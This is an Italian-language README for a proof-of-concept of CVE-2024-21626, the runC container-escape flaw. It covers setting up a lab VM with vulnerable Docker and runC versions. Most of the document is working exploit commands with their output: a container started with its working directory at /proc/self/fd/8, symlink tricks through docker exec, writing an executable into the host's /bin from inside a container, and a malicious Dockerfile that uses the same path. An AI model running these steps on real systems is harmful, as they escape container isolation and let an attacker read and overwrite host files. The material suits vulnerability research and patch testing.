PoC di CVE-2024-21626

Leggi il mio articolo completo per una spiegazione dettagliata qui.

Articolo correlato

Durante l'indagine su CVE-2024–21626, ho scoperto una vulnerabilità trascurata nelle versioni precedenti di Docker e runC. Per saperne di più su ciò che ho trovato, leggi il seguente articolo: “Esplorare vulnerabilità nascoste nelle versioni legacy di Docker: lezioni da CVE-2024–21626”.

Configurazione dell'ambiente 🔨

A. Scarica e installa la versione 22.04.1-Ubuntu LTS

Durante l'installazione non spuntare la casella per scaricare gli aggiornamenti di sistema.

B. Installa l'immagine CD delle Guest Additions per lavorare facilmente con la macchina virtuale

Inserisci l'immagine CD delle Guest Additions
Apri il terminale nell'immagine CD montata

Esegui lo script VBoxLinuxAdditions.run

demo@demo-pc:/media/demo/VBox_GAs_7.0.14$ sudo ./VBoxLinuxAdditions.run

C. Installa la versione vulnerabile di Docker e dei relativi componenti

Configura il repository apt di Docker

# set up Docker's apt repository: add Docker's official GPG key:
sudo apt update
sudo apt install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

# add the repository to Apt sources:
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
$(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update

Trova e installa la versione giusta dei diversi componenti (docker-ce, docker-ce-cli, containerd.io, docker-buildx-plugin).

# search in the cache reposiroty the docker-ce available packages
apt-cache madison docker-ce | awk '{ print $3 }'
# setup the chosen version
VERSION_STRING=5:24.0.6-1~ubuntu.22.04~jammy

# search in the cache reposiroty the containerd.io and docker-buildx-plugin available packages
apt-cache madison containerd.io | awk '{ print $3 }'
apt-cache madison docker-buildx-plugin | awk '{ print $3 }'docker-buildx-plugin

# install the packages
sudo apt install docker-ce=$VERSION_STRING \
    docker-ce-cli=$VERSION_STRING \
    containerd.io=1.6.4-1 \
    docker-buildx-plugin=0.10.2-1~ubuntu.22.04~jammy

Se i pacchetti sono troppo vecchi per essere trovati (vedi anche il vecchio repository online), o se non puoi usare il repository apt di Docker per installare Docker Engine, puoi scaricare il file deb per la tua release e installarlo manualmente. Vai su https://download.docker.com/linux/ubuntu/dists/ o usa i file deb presenti nel mio repository GitHub e installali.

# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git

# install deb files
cd CVE-2024-21626/deb
sudo dpkg -i ./containerd.io_1.6.4-1_amd64.deb \
./docker-ce_24.0.6-1~ubuntu.22.04~jammy_amd64.deb \
./docker-ce-cli_24.0.6-1~ubuntu.22.04~jammy_amd64.deb \
./docker-buildx-plugin_0.10.2-1~ubuntu.22.04~jammy_amd64.deb

D. Controlla le versioni installate

sudo docker version
runc --version    
containerd --version
uname -r

E. Verifica se il kernel è vulnerabile

Per funzionare correttamente, la vulnerabilità necessita della presenza della syscall openat2. Controlla manualmente con il seguente comando:

grep openat2 /proc/kallsyms

Potrebbero esserci casi in cui è necessario verificare con il seguente script golang disponibile nel mio repository GitHub se la syscall openat2 è presente.

# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git

# run testOpenat2
cd testOpenat2
./testOpenat2
The unix.Openat2 syscall is present on this system.

Il binario è stato compilato con i seguenti flag

env GOOS=linux GOARCH=amd64 go build testOpenat2.go

Verifica se il target è vulnerabile 🧐

Esegui checkVulnerability.sh e controlla se il file viene stampato nel terminale

# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git

# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh

Attacco 1 🦏

Exploit impostando la directory di lavoro su /proc/self/fd/

# run container with working directory to /proc/self/fd/8
sudo docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

# read host filesystem files inside the container
root@c4c0a9c99be6:.# cat ../../../../../../../../../../../etc/hostname
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
demo-pc

exploit tramite esecuzione di un container

Attacco 2 🐯

Exploit tramite docker exec:

Apri un terminale ed esegui i seguenti comandi

# terminal 1
# run container
demo@demo-pc:~$ sudo docker run --name cve-2024-21626 --rm -it debian:bookworm
# create symlinks
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /foo
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /bar

Apri un altro terminale ed esegui il seguente comando

# terminal 2: exec inside the container and set working directory
sudo docker exec -it -w /bar cve-2024-21626 sleep 120

Torna al primo terminale e accedi al filesystem del percorso dell'host

# terminal 1: find actula pid with the right cmdline
root@d98de5a852d7:/# ls -f /proc
.    irq   kmsg   kcore   mdstat   cpuinfo  sysvipc   softirqs  bootconfig  execdomains    sysrq-trigger      15
..   net   misc   locks   mounts   devices  version   zoneinfo  interrupts  filesystems    version_signature
fb   sys   mtrr   swaps   uptime   ioports  consoles  buddyinfo  kpagecount  kpagecgroup    self
fs   tty   scsi   asound  vmstat   loadavg  kallsyms  diskstats  kpageflags  vmallocinfo    thread-self
bus  acpi  stat   crypto  cgroups  meminfo  pressure  key-users  partitions  pagetypeinfo   1
dma  keys  iomem  driver  cmdline  modules  slabinfo  schedstat  timer_list  dynamic_debug  9
    
root@d98de5a852d7:/# cat /proc/9/cmdline 
sleep120

# read host filesystem files
root@d98de5a852d7:/# cat /proc/9/cwd/../../../../../../../../../etc/hostname
demo-pc

# read container filesystem files
root@d98de5a852d7:/# cat /etc/hostname 
d98de5a852d7

Exploit tramite esecuzione in un container in esecuzione

Attacco 3a 🦁

# Attack 3a is attack 1 but adapted to overwrite a host binary

# run container with the working direcotry to /proc/self/fd/8
sudo docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@e5b0730af51d:.# 

# write file in the host container
root@b6873018a7e8:.# cat > ../../../../../../../../bin/cve2024_21626 << EOF
#!/bin/bash
echo "Hello CVE-2024-21626"
EOF

# change chmod
root@b6873018a7e8:.# ../../../../../bin/chmod +x ../../../../bin/cve2024_21626
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory

# check if the file is present in the host
demo@demo-pc:/bin$ ls -la | grep cve
-rwxr-xr-x  1 root root          40 mar  7 13:24 cve2024_21626

# try it in the host
demo@demo-pc:/bin$ sudo ./cve2024_21626 
Hello CVE-2024-21626

Exploit tramite esecuzione in un container in esecuzione

Attacco 3b 🦍

# scenario 3b: host binary overwrite attack
# Attack 3b is attack 2 but adapted to overwrite a host binary

# terminal 1
# run container
sudo docker run --name cve-2024-21626 --rm -it debian:bookworm

# create symlinks
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /foo
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /bar

# terminal 2: exec inside the container and set working directory
sudo docker exec -it -w /bar cve-2024-21626 sleep 1000

# terminal 1
# find actula pid with the right cmdline
root@d98de5a852d7:/# ls -f /proc
.    irq   kmsg   kcore   mdstat   cpuinfo  sysvipc   softirqs  bootconfig  execdomains    sysrq-trigger      15
..   net   misc   locks   mounts   devices  version   zoneinfo  interrupts  filesystems    version_signature
fb   sys   mtrr   swaps   uptime   ioports  consoles  buddyinfo  kpagecount  kpagecgroup    self
fs   tty   scsi   asound  vmstat   loadavg  kallsyms  diskstats  kpageflags  vmallocinfo    thread-self
bus  acpi  stat   crypto  cgroups  meminfo  pressure  key-users  partitions  pagetypeinfo   1
dma  keys  iomem  driver  cmdline  modules  slabinfo  schedstat  timer_list  dynamic_debug  9

root@d98de5a852d7:/# cat /proc/9/cmdline 
sleep120

# write file in the host container
root@b6873018a7e8:.# cat > /proc/8/cwd/../../../../bin/cve2024_21626 << EOF
#!/bin/bash
echo "Hello CVE-2024-21626"
EOF

# change chmod
root@b6873018a7e8:.# /proc/8/cwd/../../../../bin/chmod +x \
                     /proc/8/cwd/../../../../bin/cve2024_21626
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory

# check if the file is present in the host
demo@demo-pc:/bin$ ls -la | grep cve
-rwxr-xr-x  1 root root          40 mar  7 13:39 cve2024_21626

# try it in the host
demo@demo-pc:/bin$ sudo ./cve2024_21626 
Hello CVE-2024-21626

Attacco con immagine maliziosa 🐳

Dato il seguente Dockerfile

FROM ubuntu:20.04
RUN apt-get update -y && apt-get install netcat -y
WORKDIR /proc/self/fd/8

Costruisci ed esegui l'immagine

sudo docker  build . -t devil-image

sudo docker run -it --rm devil-image bash
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory

root@415a2e1f079f:.# cat ../../../../../etc/hostname
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
demo-pc

Exploit tramite immagine maliziosa

CVE-2024-21626

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